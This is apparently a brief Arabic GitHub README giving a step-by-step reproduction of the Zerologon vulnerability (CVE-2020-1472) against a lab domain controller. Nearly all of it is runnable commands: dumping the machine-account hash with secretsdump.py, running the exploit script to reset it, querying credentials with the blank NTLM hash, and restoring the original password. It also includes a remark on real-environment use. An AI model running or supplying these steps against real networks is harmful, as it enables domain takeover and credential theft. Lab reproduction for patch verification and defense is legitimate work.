naxg/cve-2020-1472سير عمل إعادة إنتاج CVE-2020-1472
بعد إعادة الإنتاج، واجهت بعض الأخطاء الصغيرة؛ بعد إعادة التشغيل، تبقى الشاشة عالقة في صفحة تسجيل الدخول لفترة طويلة نسبيًا. لست متأكدًا ما إذا كنت الوحيد الذي يواجه هذه المشكلة. (يُرجى توخي الحذر عند الاستخدام في بيئة حقيقية) في الاستخدام العملي، يمكن استخدام خياري -use-vss و-history الخاصين بأداة secretsdump.py للحصول على الهاش التاريخي واستعادته.
الخطوة الأولى
pip3 install -r requirements.txt
عرض الهاش
secretsdump.py molecule-labs.com/administrator:[email protected] -just-dc-user 'AD$'
الهجوم
python3 CVE-2020-1472.py AD AD$ 192.168.175.132
الاستعلام عن هاش وحدة تحكم المجال
secretsdump.py molecule-labs.com/'AD$'@192.168.175.132 -just-dc-user 'AD$' -hashes :31d6cfe0d16ae931b73c59d7e0c089c0
استعادة الهاش
python3 reinstall_original_pw.py AD 192.168.175.132 061e8e521872fa93a2f8d89ca0683145
الاستعلام عن الهاش بعد الاستعادة
secretsdump.py molecule-labs.com/administrator:[email protected] -just-dc-user 'AD$'
مصدر السكربت https://github.com/blackarrowsec/redteam-research
